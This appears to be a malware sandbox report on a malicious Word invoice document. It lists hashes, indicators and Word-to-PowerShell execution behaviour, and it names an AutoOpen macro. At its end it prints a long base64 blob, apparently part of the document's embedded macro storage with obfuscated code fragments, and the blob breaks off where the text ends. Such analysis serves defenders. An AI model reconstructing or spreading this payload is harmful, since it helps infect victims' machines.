analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | INV903491.doc |
| Full analysis: | https://app.any.run/tasks/ff261386-3afc-4fab-8043-662d470946b2 |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | December 06, 2018, 08:48:35 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/xml |
| File info: | XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators |
| MD5: | DB0BCC54CA5BC68F6C8BB3F1E782358F |
| SHA1: | 45A4ED934E8A7D78FFC10D4D0B93890FA85B0808 |
| SHA256: | 0190578680E963AC41CA3E4CBB2632EC296A5C41437A0219F2CC7CE7508CB4F6 |
| SSDEEP: | 1536:EFxdRTfRGsVV1DvJcDMOmxXjxju6s6OL+eHe5x/6aEqQmCVnD32+1SWvySdtxYOF:0BcDMXei8mCdvaktx5 |
MALICIOUS
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 3012)
Executes PowerShell scripts
- cmd.exe (PID: 2628)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 3012)
SUSPICIOUS
Executes application which crashes
- powershell.exe (PID: 2532)
Creates files in the user directory
- powershell.exe (PID: 2532)
Starts CMD.EXE for commands execution
- cmd.exe (PID: 4040)
Reads Internet Cache Settings
- powershell.exe (PID: 2532)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 3012)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 3012)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .xml | | | Microsoft Office XML Flat File Format Word Document (ASCII) (45.8) |
|---|---|---|
| .rels | | | Open Office XML Relationships (29.6) |
| .xml | | | Microsoft Office XML Flat File Format (ASCII) (21.8) |
| .xml | | | Generic XML (ASCII) (1.6) |
| .html | | | HyperText Markup Language (0.9) |
EXIF
XMP
| PackagePartXmlDataPropertiesAppVersion: | 16 |
|---|---|
| PackagePartXmlDataPropertiesHyperlinksChanged: | - |
| PackagePartXmlDataPropertiesSharedDoc: | - |
| PackagePartXmlDataPropertiesCharactersWithSpaces: | 14 |
| PackagePartXmlDataPropertiesLinksUpToDate: | - |
| PackagePartXmlDataPropertiesCompany: | - |
| PackagePartXmlDataPropertiesScaleCrop: | - |
| PackagePartXmlDataPropertiesParagraphs: | 1 |
| PackagePartXmlDataPropertiesLines: | 1 |
| PackagePartXmlDataPropertiesDocSecurity: | - |
| PackagePartXmlDataPropertiesApplication: | Microsoft Office Word |
| PackagePartXmlDataPropertiesCharacters: | 13 |
| PackagePartXmlDataPropertiesWords: | 2 |
| PackagePartXmlDataPropertiesPages: | 1 |
| PackagePartXmlDataPropertiesTotalTime: | - |
| PackagePartXmlDataPropertiesTemplate: | Normal.dotm |
| PackagePartXmlDataPropertiesXmlns: | http://schemas.openxmlformats.org/officeDocument/2006/extended-properties |
| PackagePartXmlDataCorePropertiesModified: | 2018:11:16 07:15:00Z |
| PackagePartXmlDataCorePropertiesModifiedType: | dcterms:W3CDTF |
| PackagePartXmlDataCorePropertiesCreated: | 2018:11:16 07:15:00Z |
| PackagePartXmlDataCorePropertiesCreatedType: | dcterms:W3CDTF |
| PackagePartXmlDataCorePropertiesRevision: | 1 |
| PackagePartXmlDataCorePropertiesLastModifiedBy: | - |
| PackagePartXmlDataCorePropertiesDescription: | - |
| PackagePartXmlDataCorePropertiesKeywords: | - |
| PackagePartXmlDataCorePropertiesCreator: | - |
| PackagePartXmlDataCorePropertiesSubject: | - |
| PackagePartXmlDataCorePropertiesTitle: | - |
| PackagePartXmlDataFontsFontSigCsb1: | 00000000 |
| PackagePartXmlDataFontsFontSigCsb0: | 0000019F |
| PackagePartXmlDataFontsFontSigUsb3: | 00000000 |
| PackagePartXmlDataFontsFontSigUsb2: | 00000009 |
| PackagePartXmlDataFontsFontSigUsb1: | 4000ACFF |
| PackagePartXmlDataFontsFontSigUsb0: | E10002FF |
| PackagePartXmlDataFontsFontPitchVal: | variable |
| PackagePartXmlDataFontsFontFamilyVal: | swiss |
| PackagePartXmlDataFontsFontCharsetVal: | 00 |
| PackagePartXmlDataFontsFontPanose1Val: | 020F0502020204030204 |
| PackagePartXmlDataFontsFontName: | Calibri |
| PackagePartXmlDataFontsIgnorable: | w14 w15 w16se w16cid |
| PackagePartXmlDataWebSettingsPixelsPerInchVal: | 120 |
| PackagePartXmlDataWebSettingsDoNotUseLongFileNames: | - |
| PackagePartXmlDataWebSettingsAllowPNG: | - |
| PackagePartXmlDataWebSettingsRelyOnVML: | - |
| PackagePartXmlDataWebSettingsIgnorable: | w14 w15 w16se w16cid |
| PackagePartXmlDataStylesStyleCustomStyle: | 1 |
| PackagePartXmlDataStylesStyleRPrRFontsCs: | Tahoma |
| PackagePartXmlDataStylesStyleRPrRFontsHAnsi: | Tahoma |
| PackagePartXmlDataStylesStyleRPrRFontsAscii: | Tahoma |
| PackagePartXmlDataStylesStyleRsidVal: | 003B0670 |
| PackagePartXmlDataStylesStyleLinkVal: | BalloonTextChar |
| PackagePartXmlDataStylesStyleBasedOnVal: | Normal |
| PackagePartXmlDataStylesStyleTblPrTblCellMarRightType: | dxa |
| PackagePartXmlDataStylesStyleTblPrTblCellMarRightW: | 108 |
| PackagePartXmlDataStylesStyleTblPrTblCellMarBottomType: | dxa |
| PackagePartXmlDataStylesStyleTblPrTblCellMarBottomW: | - |
| PackagePartXmlDataStylesStyleTblPrTblCellMarLeftType: | dxa |
| PackagePartXmlDataStylesStyleTblPrTblCellMarLeftW: | 108 |
| PackagePartXmlDataStylesStyleTblPrTblCellMarTopType: | dxa |
| PackagePartXmlDataStylesStyleTblPrTblCellMarTopW: | - |
| PackagePartXmlDataStylesStyleTblPrTblIndType: | dxa |
| PackagePartXmlDataStylesStyleTblPrTblIndW: | - |
| PackagePartXmlDataStylesStyleUnhideWhenUsed: | - |
| PackagePartXmlDataStylesStyleSemiHidden: | - |
| PackagePartXmlDataStylesStyleUiPriorityVal: | 1 |
| PackagePartXmlDataStylesStyleRPrSzCsVal: | 22 |
| PackagePartXmlDataStylesStyleRPrSzVal: | 22 |
| PackagePartXmlDataStylesStylePPrSpacingLineRule: | auto |
| PackagePartXmlDataStylesStylePPrSpacingLine: | 259 |
| PackagePartXmlDataStylesStylePPrSpacingAfter: | 160 |
| PackagePartXmlDataStylesStyleQFormat: | - |
| PackagePartXmlDataStylesStyleNameVal: | Normal |
| PackagePartXmlDataStylesStyleStyleId: | Normal |
| PackagePartXmlDataStylesStyleDefault: | 1 |
| PackagePartXmlDataStylesStyleType: | paragraph |
| PackagePartXmlDataStylesLatentStylesLsdExceptionUnhideWhenUsed: | 1 |
| PackagePartXmlDataStylesLatentStylesLsdExceptionSemiHidden: | 1 |
| PackagePartXmlDataStylesLatentStylesLsdExceptionQFormat: | 1 |
| PackagePartXmlDataStylesLatentStylesLsdExceptionUiPriority: | - |
| PackagePartXmlDataStylesLatentStylesLsdExceptionName: | Normal |
| PackagePartXmlDataStylesLatentStylesCount: | 375 |
| PackagePartXmlDataStylesLatentStylesDefQFormat: | - |
| PackagePartXmlDataStylesLatentStylesDefUnhideWhenUsed: | - |
| PackagePartXmlDataStylesLatentStylesDefSemiHidden: | - |
| PackagePartXmlDataStylesLatentStylesDefUIPriority: | 99 |
| PackagePartXmlDataStylesLatentStylesDefLockedState: | - |
| PackagePartXmlDataStylesDocDefaultsPPrDefault: | - |
| PackagePartXmlDataStylesDocDefaultsRPrDefaultRPrLangBidi: | ar-SA |
| PackagePartXmlDataStylesDocDefaultsRPrDefaultRPrLangEastAsia: | en-US |
| PackagePartXmlDataStylesDocDefaultsRPrDefaultRPrLangVal: | en-US |
| PackagePartXmlDataStylesDocDefaultsRPrDefaultRPrRFontsCs: | Times New Roman |
| PackagePartXmlDataStylesDocDefaultsRPrDefaultRPrRFontsHAnsi: | Calibri |
| PackagePartXmlDataStylesDocDefaultsRPrDefaultRPrRFontsEastAsia: | Calibri |
| PackagePartXmlDataStylesDocDefaultsRPrDefaultRPrRFontsAscii: | Calibri |
| PackagePartXmlDataStylesIgnorable: | w14 w15 w16se w16cid |
| PackagePartXmlDataSettingsDocIdVal: | 49EDC8D1 |
| PackagePartXmlDataSettingsListSeparatorVal: | , |
| PackagePartXmlDataSettingsDecimalSymbolVal: | . |
| PackagePartXmlDataSettingsShapeDefaultsShapelayoutIdmapData: | 1 |
| PackagePartXmlDataSettingsShapeDefaultsShapelayoutIdmapExt: | edit |
| PackagePartXmlDataSettingsShapeDefaultsShapelayoutExt: | edit |
| PackagePartXmlDataSettingsShapeDefaultsShapedefaultsColormruColors: | #00aeea |
| PackagePartXmlDataSettingsShapeDefaultsShapedefaultsColormruExt: | edit |
| PackagePartXmlDataSettingsShapeDefaultsShapedefaultsSpidmax: | 1026 |
| PackagePartXmlDataSettingsShapeDefaultsShapedefaultsExt: | edit |
| PackagePartXmlDataSettingsClrSchemeMappingFollowedHyperlink: | followedHyperlink |
| PackagePartXmlDataSettingsClrSchemeMappingHyperlink: | hyperlink |
| PackagePartXmlDataSettingsClrSchemeMappingAccent6: | accent6 |
| PackagePartXmlDataSettingsClrSchemeMappingAccent5: | accent5 |
| PackagePartXmlDataSettingsClrSchemeMappingAccent4: | accent4 |
| PackagePartXmlDataSettingsClrSchemeMappingAccent3: | accent3 |
| PackagePartXmlDataSettingsClrSchemeMappingAccent2: | accent2 |
| PackagePartXmlDataSettingsClrSchemeMappingAccent1: | accent1 |
| PackagePartXmlDataSettingsClrSchemeMappingT2: | dark2 |
| PackagePartXmlDataSettingsClrSchemeMappingBg2: | light2 |
| PackagePartXmlDataSettingsClrSchemeMappingT1: | dark1 |
| PackagePartXmlDataSettingsClrSchemeMappingBg1: | light1 |
| PackagePartXmlDataSettingsThemeFontLangVal: | en-US |
| PackagePartXmlDataSettingsMathPrNaryLimVal: | undOvr |
| PackagePartXmlDataSettingsMathPrIntLimVal: | subSup |
| PackagePartXmlDataSettingsMathPrWrapIndentVal: | 1440 |
| PackagePartXmlDataSettingsMathPrDefJcVal: | centerGroup |
| PackagePartXmlDataSettingsMathPrRMarginVal: | - |
| PackagePartXmlDataSettingsMathPrLMarginVal: | - |
| PackagePartXmlDataSettingsMathPrDispDef: | - |
| PackagePartXmlDataSettingsMathPrSmallFracVal: | - |
| PackagePartXmlDataSettingsMathPrBrkBinSubVal: | -- |
| PackagePartXmlDataSettingsMathPrBrkBinVal: | before |
| PackagePartXmlDataSettingsMathPrMathFontVal: | Cambria Math |
| PackagePartXmlDataSettingsRsidsRsidVal: | 00005EB7 |
| PackagePartXmlDataSettingsRsidsRsidRootVal: | 005E6EE1 |
| PackagePartXmlDataSettingsCompatCompatSettingVal: | 15 |
| PackagePartXmlDataSettingsCompatCompatSettingUri: | http://schemas.microsoft.com/office/word |
| PackagePartXmlDataSettingsCompatCompatSettingName: | compatibilityMode |
| PackagePartXmlDataSettingsCharacterSpacingControlVal: | doNotCompress |
| PackagePartXmlDataSettingsDefaultTabStopVal: | 720 |
| PackagePartXmlDataSettingsDisplayBackgroundShape: | - |
| PackagePartXmlDataSettingsRemoveDateAndTime: | - |
| PackagePartXmlDataSettingsRemovePersonalInformation: | - |
| PackagePartXmlDataSettingsZoomPercent: | 100 |
| PackagePartXmlDataSettingsIgnorable: | w14 w15 w16se w16cid |
| PackagePartXmlDataVbaSuppDataMcdsMcdCmg: | 56 |
| PackagePartXmlDataVbaSuppDataMcdsMcdBEncrypt: | 00 |
| PackagePartXmlDataVbaSuppDataMcdsMcdName: | Project.kaipwUzwB.AutoOpen |
| PackagePartXmlDataVbaSuppDataMcdsMcdMacroName: | PROJECT.KAIPWUZWB.AUTOOPEN |
| PackagePartXmlDataVbaSuppDataIgnorable: | w14 w15 w16se w16cid wp14 |
| PackagePartXmlDataThemeExtLstExtThemeFamilyVid: | {4A3C46E8-61CC-4603-A589-7422A47A8E4A} |
| PackagePartXmlDataThemeExtLstExtThemeFamilyId: | {62F939B6-93AF-4DB8-9C6B-D6C7DFDC589F} |
| PackagePartXmlDataThemeExtLstExtThemeFamilyName: | Office Theme |
| PackagePartXmlDataThemeExtLstExtUri: | {05A4C25C-085E-4340-85A3-A5531E510DB2} |
| PackagePartXmlDataThemeExtraClrSchemeLst: | - |
| PackagePartXmlDataThemeObjectDefaults: | - |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillLinScaled: | - |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillLinAng: | 5400000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillGsLstGsSchemeClrLumModVal: | 102000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillGsLstGsSchemeClrShadeVal: | 98000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillGsLstGsSchemeClrSatModVal: | 150000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillGsLstGsSchemeClrTintVal: | 93000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillGsLstGsSchemeClrVal: | phClr |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillGsLstGsPos: | - |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillRotWithShape: | 1 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstSolidFillSchemeClrSatModVal: | 170000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstSolidFillSchemeClrTintVal: | 95000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstSolidFillSchemeClrVal: | phClr |
| PackagePartXmlDataThemeThemeElementsFmtSchemeEffectStyleLstEffectStyleEffectLstOuterShdwSrgbClrAlphaVal: | 63000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeEffectStyleLstEffectStyleEffectLstOuterShdwSrgbClrVal: | 000000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeEffectStyleLstEffectStyleEffectLstOuterShdwRotWithShape: | - |
| PackagePartXmlDataThemeThemeElementsFmtSchemeEffectStyleLstEffectStyleEffectLstOuterShdwAlgn: | ctr |
| PackagePartXmlDataThemeThemeElementsFmtSchemeEffectStyleLstEffectStyleEffectLstOuterShdwDir: | 5400000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeEffectStyleLstEffectStyleEffectLstOuterShdwDist: | 19050 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeEffectStyleLstEffectStyleEffectLstOuterShdwBlurRad: | 57150 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeEffectStyleLstEffectStyleEffectLst: | - |
| PackagePartXmlDataThemeThemeElementsFmtSchemeLnStyleLstLnMiterLim: | 800000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeLnStyleLstLnPrstDashVal: | solid |
| PackagePartXmlDataThemeThemeElementsFmtSchemeLnStyleLstLnSolidFillSchemeClrVal: | phClr |
| PackagePartXmlDataThemeThemeElementsFmtSchemeLnStyleLstLnAlgn: | ctr |
| PackagePartXmlDataThemeThemeElementsFmtSchemeLnStyleLstLnCmpd: | sng |
| PackagePartXmlDataThemeThemeElementsFmtSchemeLnStyleLstLnCap: | flat |
| PackagePartXmlDataThemeThemeElementsFmtSchemeLnStyleLstLnW: | 6350 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillGsLstGsSchemeClrShadeVal: | 100000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillLinScaled: | - |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillLinAng: | 5400000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillGsLstGsSchemeClrTintVal: | 67000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillGsLstGsSchemeClrSatModVal: | 105000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillGsLstGsSchemeClrLumModVal: | 110000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillGsLstGsSchemeClrVal: | phClr |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillGsLstGsPos: | - |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillRotWithShape: | 1 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstSolidFillSchemeClrVal: | phClr |
| PackagePartXmlDataThemeThemeElementsFmtSchemeName: | Office |
| PackagePartXmlDataThemeThemeElementsFontSchemeMinorFontFontTypeface: | 游明朝 |
| PackagePartXmlDataThemeThemeElementsFontSchemeMinorFontFontScript: | Jpan |
| PackagePartXmlDataThemeThemeElementsFontSchemeMinorFontCsTypeface: | - |
| PackagePartXmlDataThemeThemeElementsFontSchemeMinorFontEaTypeface: | - |
| PackagePartXmlDataThemeThemeElementsFontSchemeMinorFontLatinPanose: | 020F0502020204030204 |
| PackagePartXmlDataThemeThemeElementsFontSchemeMinorFontLatinTypeface: | Calibri |
| PackagePartXmlDataThemeThemeElementsFontSchemeMajorFontFontTypeface: | 游ゴシック Light |
| PackagePartXmlDataThemeThemeElementsFontSchemeMajorFontFontScript: | Jpan |
| PackagePartXmlDataThemeThemeElementsFontSchemeMajorFontCsTypeface: | - |
| PackagePartXmlDataThemeThemeElementsFontSchemeMajorFontEaTypeface: | - |
| PackagePartXmlDataThemeThemeElementsFontSchemeMajorFontLatinPanose: | 020F0302020204030204 |
| PackagePartXmlDataThemeThemeElementsFontSchemeMajorFontLatinTypeface: | Calibri Light |
| PackagePartXmlDataThemeThemeElementsFontSchemeName: | Office |
| PackagePartXmlDataThemeThemeElementsClrSchemeFolHlinkSrgbClrVal: | 954F72 |
| PackagePartXmlDataThemeThemeElementsClrSchemeHlinkSrgbClrVal: | 0563C1 |
| PackagePartXmlDataThemeThemeElementsClrSchemeAccent6SrgbClrVal: | 70AD47 |
| PackagePartXmlDataThemeThemeElementsClrSchemeAccent5SrgbClrVal: | 5B9BD5 |
| PackagePartXmlDataThemeThemeElementsClrSchemeAccent4SrgbClrVal: | FFC000 |
| PackagePartXmlDataThemeThemeElementsClrSchemeAccent3SrgbClrVal: | A5A5A5 |
| PackagePartXmlDataThemeThemeElementsClrSchemeAccent2SrgbClrVal: | ED7D31 |
| PackagePartXmlDataThemeThemeElementsClrSchemeAccent1SrgbClrVal: | 4472C4 |
| PackagePartXmlDataThemeThemeElementsClrSchemeLt2SrgbClrVal: | E7E6E6 |
| PackagePartXmlDataThemeThemeElementsClrSchemeDk2SrgbClrVal: | 44546A |
| PackagePartXmlDataThemeThemeElementsClrSchemeLt1SysClrLastClr: | FFFFFF |
| PackagePartXmlDataThemeThemeElementsClrSchemeLt1SysClrVal: | window |
| PackagePartXmlDataThemeThemeElementsClrSchemeDk1SysClrLastClr: | 000000 |
| PackagePartXmlDataThemeThemeElementsClrSchemeDk1SysClrVal: | windowText |
| PackagePartXmlDataThemeThemeElementsClrSchemeName: | Office |
| PackagePartXmlDataThemeName: | Office Theme |
| PackagePartCompression: | store |
| PackagePartBinaryData: | 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAA EAAAAgAAAAEAAAD+////AAAAAAAAAAD///////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////9 ////CQAAAP7///8EAAAABQAAAAYAAAAHAAAA/v///xcAAAAjAAAACwAAAAwAAAANAAAADgAAAA8A AAAQAAAAEQAAABIAAAATAAAAFAAAAAMAAAAWAAAA/v///xgAAAAZAAAAGgAAACQAAAAcAAAAHQAA AB4AAAAfAAAAIAAAACEAAAAiAAAAFQAAAP7////+//////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////1IA bwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAWAAUA//////////8KAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEA85xx8fdQB CAAAAAALAAAAAAAAVgBCAEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAgAAQD//////////wQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACg 5hx8fdQBMBXnHHx91AEAAAAAAAAAAAAAAABrAGEAaQBwAHcAVQB6AHcAQgAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAACAf////8FAAAA/////wAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAABYHwAAAAAAAF8AXwBTAFIAUABfADIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAIBCAAAAP// ////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQBAAAAAAAAAQAA AAIAAAADAAAABAAAAP7///8GAAAA/v///wgAAAAJAAAACgAAAAsAAAAMAAAADQAAAA4AAAD+//// EAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAABcAAAAYAAAAGQAAABoAAAAbAAAAHAAAAB0AAAAe AAAAHwAAACAAAAAhAAAA/v///yMAAAD+/////v///yYAAAAnAAAAKAAAACkAAAAqAAAAKwAAAP7/ //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////92SEtx gChua3oASkJQZEFFICZAIGR6bXNOgAMiPFwigAIFO4JBAEMgIIBJZiBEaXIohR7CKQNIVGhlbocR ARRJhBNSZYCBY2WGFywAICJicG5YSXMQT3B2IgADckpQAFZJUEgiKSkgwDw+ICIiIE8SQRMDCCtQ FFFWVFhSSgRKbQEULm5TSUkcdyJDTYEOwgBFbmQZQC4NCsUBAAVDQ2IIbnFjgy8rIEZqCHdiagBI cmtEbRhDVW1AAtNSWElrCGFBScFaS3BVTQJPwFF0d0dId0IIb2pmgBJOd3ptIFdiakRugE5Rc4Bq VkpZSGZYwAJ/A1NDHI5SBhDlUgYMwE96gEFxZnpDU0OBPsB6RVh1c0GdUkYPh8ArxVJKFFdrd05C UiBQQkl1bmBSbHdgR1Bza3DAE8BvKwAgQ0tTdHdoYQJiwaZ0UFdCekqCd5ZTYXFOT0ugAwBPQVVY WQ0KWEBtUnNXc2ogCWoAdWFEWWlPVnIBoCdvUUNVektB/FdHYAEjKSQOTinkBx8pB4NSxAXAKGpD bWJrBEdhwR53QmppcXxSbd0oZAdAFYUopwlEIGlCd3BmYih3aRBvQVNpnyggR2tgRHJUekzgCYIo ckBBWENSTWlAI2uAaVdmb0J6V0ABAVRScVVsb0RDdAJHIARkcVVtU1IADQp0akZPcVVBgAludHp6 b+AmVvhielPHeoQNT1HCBt8nB8MngwygJ3dURFBNEFNZWnRBHmJPeuBkVWJ3av5QRRSGUAMCAsAJ VGtDelVJAkziJ0Z3UHJFTjx3Q8AJpxVBejB6S1kgdk11WGJFKEdLQGtZSXpia8AiamBEZEVQVAAB MyhDCGRvYYF/dnBkegBZV3JsDQpuWCBCQ2FvSUAJSHeAVmlHQmFUYoAowEdxSU9XQ0FSw1B/BA7O KKQH/yjjKMQFIB9KAG1PVWlZdlFGAWEfbnNycHpBbX5koEebo+QHgBVFKScKTIBab0ZUUHV1pClA dGlrdHJw3VFsAHRSY3pqa2lUQyFxwlFUTWJE4UtvEG9aRkbgKFNoYQBwZXMoIkVuYwBjR1VWTWlF agBOIikuVGV4dARGckD5LkNvbnQAYWluaW5nUmEIbmdlQAZ3a1RZBEprwVhTVHFsbwRYRMImdEdq cncwcmxOddALkgZIdxBqd2R68AJWWEPgSm5IV02gAF8bAQWAc3dBandUdPABAGt3Y1BpDQpJgGpQ QldSa0ugBABGWWFQTFlqZMFAG2lMckhqcAAjG//2BtIHgSQVbdUDXxtSApZvBzUW9QJgG1dQaFlI BEZuQRtITFhxcz5yvy80BKUElwrvBCJBAFVRalNWSlJzAQEFLm9DaE9pWAMvGw5tQWp1RmpPBEdr lRRiaUFMcAHQEXpTd1FidUUHkAB/FHEUV05CSUIEaXHhHXRJQ2pGAHVWSQ0KVENGAkTBcWlMZlFB TgR6cAAUcXBMRmH+Q0dY9QaeFLIDbxS1DwOEB3UPwgIwFEdDaVljCGNOaUIPRGlKSeBZQ1lFYo8U VARkAAfSAwAP3QRJZktVcQJHUnEubXVZYkg4Y29DLxQrFCArc3QAIG1IaUdGRUUER3NQBXZiSGlk AzCfwAZZdlNxekQCSsYVTktyT096BFVWUBVjY21EajBJakZYHxYEmEh6gG1mdUNBWFMQAgBrbnRB dUdMSgBNDQp6VWJYaghUV0ERS3BhcksQaVdaYXAWaWhq/HF1cAADK4UHXhbWA58WD8QRLJgGA9AW Q0lVdwJr4SV0U1ZBWUj+SyBBP0ZkBGIAxgPIFgkFQG5iZnpNTwIrQ8BpSHBqbUrvFh4rgHVVUVlM clTxsxGzP25XddGAeldtDGFj3xTUFE9qY0wQSktVUBECd1hQAHVZdUZQQw0KAGl0RXpWRXdSQkUQ CkxpenexP1AAR2JZcldUdmb/5hQlB+4U5gPvFHQQ7BQGA0HgFFV3cGho0iZ38GlYaFlfKyQEZACm AwPIFOkEdkJpYWlFBGxE4hRkSXJ6ZgPPFM4UV3NTcHdmGHB1R0AF0hRrTGkITmZDUZhRS3NkYFB0 cEJBPxU0FUMQWEdPUdABa0RUAHd0dg0KYUZwQG91RUdKdsAEREBrSGlmTUEgFGj4QlJTYRWTKQYH vhTWAx+/FBQQvBQGA7AUekl3UFVpS2ixD0WAM3P8V0/vFFQEZADWA8AKhUABGQVYVGtrbkFKAlbi FHZRY2JqQwPPQAzCU2hlbGxAAiCYcCsgUVhZUgFBJ3VkSERWa0YMUyzHQiIQVHR0VRBXS1FJRpxr TkQQSXdJWeJsRm9SDk7hnD9YMVhud3NYBGNMEYp0TXpyRgBDcg0KakZ6aAhoWVhhtUt6T1RCbPEX cWlYcSAIJv4gExgGBx4YxQMPGDQTDBgD9QLwF2NMTlVkUAJZAhhjTVBodWP4d1poLxh0BGQA9QMY GEUoBXfwbFp0WvIXbSBLalh6UfEsHLICIAgARW5kIElmDA0KBTgA0GxUQVQAcWFsWE8gPSAAIiIg KyBqdmIgZENtdmoAKFlEQHpOalZ6WQAUQQBjdGl2ZURvYwB1bWVudC5OYQRtZQAqakFUaXoCcQFU alVYd3N6AFdYcQ0KY2hHQFdNaktXVQCibQBud25Gck1YIAAmIHZRalhEcMRzegAKIlwiAAUGeQQN CgWiSWYgRGkUcigGQSkDlFRoZQ5uByQBLAQoUmVwbAhhY2UHMCwgIlKAekdRcndiIgAKAHdqUWxt TG1DwCIpKSA8PgFvjyQHgSaJWBEpSVRCd2wEekkBKS5hSmtqGEUiKQtHkKtSbkVAZExwdGN0A2Er ACB2aUNKYlB3wYCad3pGaGOAA5OpIFR1S0ZSgA5iegBzaklJDQpqdCBzV25aYYEjRW0ga3VCdnKA nUVQgGp0bnBzd0OABf+DpoY3h0wEkgUQJVPFCwBQgFhWWWxSbU0BPoB2cVZNUmpvnVIPBQ9APUVS yBN0d0RRgUITLld3REtQoFFAR0FPd1laxVBMEE56WVbARlFOTQRtc5elb011a0YIcFFOQApIbVVZ AEoNCmJFQW1XBFBFAbl6U1hadQhQdnRATmJ6d0X+dwekwxrOT8UO5U/FC8BPAGFObWFrakxCAkVB UGR2U0psWXhzamndUAUQyFDIFHMgWHFpbnoBFC5KgEZORXdCWm3dUQHBU1N1Yg0KDQoAtgAHAHJK UFZJUEgAJAA+AgMAJAB+AAEAtgAAAAYAnABTAEwANwAgADgCtgAIAFFWVFhSSkpttgAGAC5uU0lJ dyQAPgIDACcAOAI9ADQAawD//ygAAABrAP//IAAAALYAAAAgAEICCwAgAEQCCwAgADICIQAGAQsA IABGAgsAIABIAgsAJwBAAm0AIABeACAATAIgAE4CEQC2AAEAXAARACAAQAIRACcAclWAAAAAAAAA AIAAAACAAAAAAAAAAB4AAAAJAAAAAAAAAAkAAAAAAAMAMAAAAAAAAAABAAEAAAAAAAEAAQAAAAEA qQUAAAAAAADRBQAAAAAAAPkFAAAAAAAACQAAAAEAAgCBBQAAAAAAAAgADQA0AAAAIQYAAAAAAABh AAAAAAABAEkGAAAAAAAA////////////////AAD///////////////////////////////////// /////////////////////////////////////wEAuQEXAQAAAAACADAAAAAMAAAA/MYAAAAAAACY AAAAAAAAAAQAAAAMAAAACAAAAAAAAAAAAAAADAAAAAAAAAAAAAAABwAAEwAAAABYAAB/AAAAAAYA 